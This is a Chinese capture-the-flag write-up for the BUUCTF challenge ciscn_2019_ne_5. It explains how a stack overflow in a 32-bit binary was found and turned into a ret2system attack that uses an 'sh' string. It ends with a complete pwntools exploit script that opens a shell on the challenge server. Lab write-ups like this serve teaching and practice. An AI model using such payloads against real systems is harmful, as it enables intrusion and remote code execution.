BUUCTF—ciscn_2019_ne_5
先看看开了什么保护机制
打开32位ida看看
首先第一个就是密码验证,密码都放出来了,就是administrator,没什么难度
后面发现就是个实现了三个功能的函数,先看看第一个
发现就是输入128个字节到a1,我们发现a1实际上就是src变量,接下来看看第二个功能
就一个puts,没啥用,再去看看第三个
输出printint...更没用,不过这个为我们提供了system函数,还是不错滴
我们看一下代码发现有第四个功能
这个实际上也是输出我们之前输入的,但是他有个步骤是拷贝到局部变量再输出局部变量,那么也就是说我们有机会栈溢出,计算一下大小,我们可以输入的有128也就是0x80,这个局部变量距离ebp为0x48,就可以栈溢出!那么接下来找system和/bin/sh
没有参数,怎么办,有两种思路,第一种我们找个地址然后调用read函数把/bin/sh输入进来,第二种是换个参数sh也是阔以滴,我们先去找找sh,这时候我们用ROPgadget帮我们找
有!这个其实是字符串fflush的末尾,还好是末尾后面有\x00截断,要是在中间就用不了了,那么参数齐了,我们就栈溢出就行了
from pwn import*
p=remote('node4.buuoj.cn',28369)
system=0x080484d0
sh=0x080482ea
main=0x08048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Exit\n:')
p.sendline(str(1))
p.recvuntil('info:')
payload=b'a'*0x4c+p32(system)+p32(main)+p32(sh)
p.sendline(payload)
p.recvuntil('Exit\n:')
p.sendline(str(4))
p.interactive()